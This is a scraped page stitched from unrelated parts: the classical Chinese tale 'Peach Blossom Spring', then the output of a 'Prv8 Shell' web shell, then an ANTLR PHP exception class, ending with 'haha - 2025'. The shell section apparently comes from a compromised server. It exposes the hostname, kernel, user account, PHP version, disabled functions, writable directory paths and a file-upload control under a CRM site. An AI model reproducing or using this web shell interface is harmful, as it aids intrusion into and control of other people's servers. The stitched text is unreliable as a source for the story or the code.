晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/akaindir/www/crm/libraries/antlr/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/akaindir/www/crm/libraries/antlr/RecognitionException.php
<?php
/*
 [The "BSD licence"]
 Copyright (c) 2005-2008 Terence Parr
 All rights reserved.

 Redistribution and use in source and binary forms, with or without
 modification, are permitted provided that the following conditions
 are met:
 1. Redistributions of source code must retain the above copyright
    notice, this list of conditions and the following disclaimer.
 2. Redistributions in binary form must reproduce the above copyright
    notice, this list of conditions and the following disclaimer in the
    documentation and/or other materials provided with the distribution.
 3. The name of the author may not be used to endorse or promote products
    derived from this software without specific prior written permission.

 THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/

/** The root of the ANTLR exception hierarchy.
 *
 *  To avoid English-only error messages and to generally make things
 *  as flexible as possible, these exceptions are not created with strings,
 *  but rather the information necessary to generate an error.  Then
 *  the various reporting methods in Parser and Lexer can be overridden
 *  to generate a localized error message.  For example, MismatchedToken
 *  exceptions are built with the expected token type.
 *  So, don't expect getMessage() to return anything.
 *
 *  Note that as of Java 1.4, you can access the stack trace, which means
 *  that you can compute the complete trace of rules from the start symbol.
 *  This gives you considerable context information with which to generate
 *  useful error messages.
 *
 *  ANTLR generates code that throws exceptions upon recognition error and
 *  also generates code to catch these exceptions in each rule.  If you
 *  want to quit upon first error, you can turn off the automatic error
 *  handling mechanism using rulecatch action, but you still need to
 *  override methods mismatch and recoverFromMismatchSet.
 *
 *  In general, the recognition exceptions can track where in a grammar a
 *  problem occurred and/or what was the expected input.  While the parser
 *  knows its state (such as current input symbol and line info) that
 *  state can change before the exception is reported so current token index
 *  is computed and stored at exception time.  From this info, you can
 *  perhaps print an entire line of input not just a single token, for example.
 *  Better to just say the recognizer had a problem and then let the parser
 *  figure out a fancy report.
 */
class RecognitionException extends Exception {

	public $line=0;


	public function __construct($input) {
		/** What input stream did the error occur in? */
		$this->input = $input;
		/** What is index of token/char were we looking at when the error occurred? */
		$this->index = $input->index();

		/** The current Token when an error occurred.  Since not all streams
		 *  can retrieve the ith Token, we have to track the Token object.
		 *  For parsers.  Even when it's a tree parser, token might be set.
		 */
		$this->token=null;

		/** If this is a tree parser exception, node is set to the node with
		 *  the problem.
		 */
		$this->node=null;

		/** The current char when an error occurred. For lexers. */
		$this->c=0;

		/** Track the line at which the error occurred in case this is
		 *  generated from a lexer.  We need to track this since the
		 *  unexpected char doesn't carry the line info.
		 */
		$this->line=0;

		$this->charPositionInLine=0;

		/** If you are parsing a tree node stream, you will encounter som
		 *  imaginary nodes w/o line/col info.  We now search backwards looking
		 *  for most recent token with line/col info, but notify getErrorHeader()
		 *  that info is approximate.
		 */
		$this->approximateLineInfo=false;
		

		if ( $this->input instanceof TokenStream ) {
			$this->token = $input->LT(1);
			$this->line = $this->token->getLine();
			$this->charPositionInLine = $this->token->getCharPositionInLine();
		}
		if ( $this->input instanceof TreeNodeStream ) {
			$this->extractInformationFromTreeNodeStream($input);
		}
		else if ( $input instanceof CharStream ) {
			$this->c = $input->LA(1);
			$this->line = $input->getLine();
			$this->charPositionInLine = $input->getCharPositionInLine();
		}
		else {
			$this->c = $input->LA(1);
		}
	}

	protected function extractInformationFromTreeNodeStream($input) {
		$nodes = $input;
		$this->node = $nodes->LT(1);
		$adaptor = $nodes->getTreeAdaptor();
		$payload = $adaptor->getToken($this->node);
		if ( $payload!=null ) {
			$this->token = $payload;
			if ( $payload->getLine()<= 0 ) {
				// imaginary node; no line/pos info; scan backwards
				$i = -1;
				$priorNode = $nodes->LT($i);
				while ( $priorNode!=null ) {
					$priorPayload = $adaptor->getToken($priorNode);
					if ( $priorPayload!=null && $priorPayload->getLine()>0 ) {
						// we found the most recent real line / pos info
						$this->line = $priorPayload->getLine();
						$this->charPositionInLine = $priorPayload->getCharPositionInLine();
						$this->approximateLineInfo = true;
						break;
					}
					--$i;
					$priorNode = $nodes->LT($i);
				}
			}
			else { // node created from real token
				$this->line = $payload->getLine();
				$this->charPositionInLine = $payload->getCharPositionInLine();
			}
		}
		else if ( $this->node instanceof Tree) {
			$this->line = $this->node->getLine();
			$this->charPositionInLine = $this->node->getCharPositionInLine();
			if ( $this->node instanceof CommonTree) {
				$this->token = $this->node->token;
			}
		}
		else {
			$type = $adaptor->getType($this->node);
			$text = $adaptor->getText($this->node);
			$this->token = CommonToken::forTypeAndText($type, $text);
		}
	}

	/** Return the token type or char of the unexpected input element */
	public function getUnexpectedType() {
		if ( $this->input instanceof TokenStream ) {
			return $this->token->getType();
		}
		else if ( $this->input instanceof TreeNodeStream ) {
			$nodes = $this->input;
			$adaptor = $nodes->getTreeAdaptor();
			return $adaptor->getType($this->node);
		}
		else {
			return $this->c;
		}
	}
}


?>

haha - 2025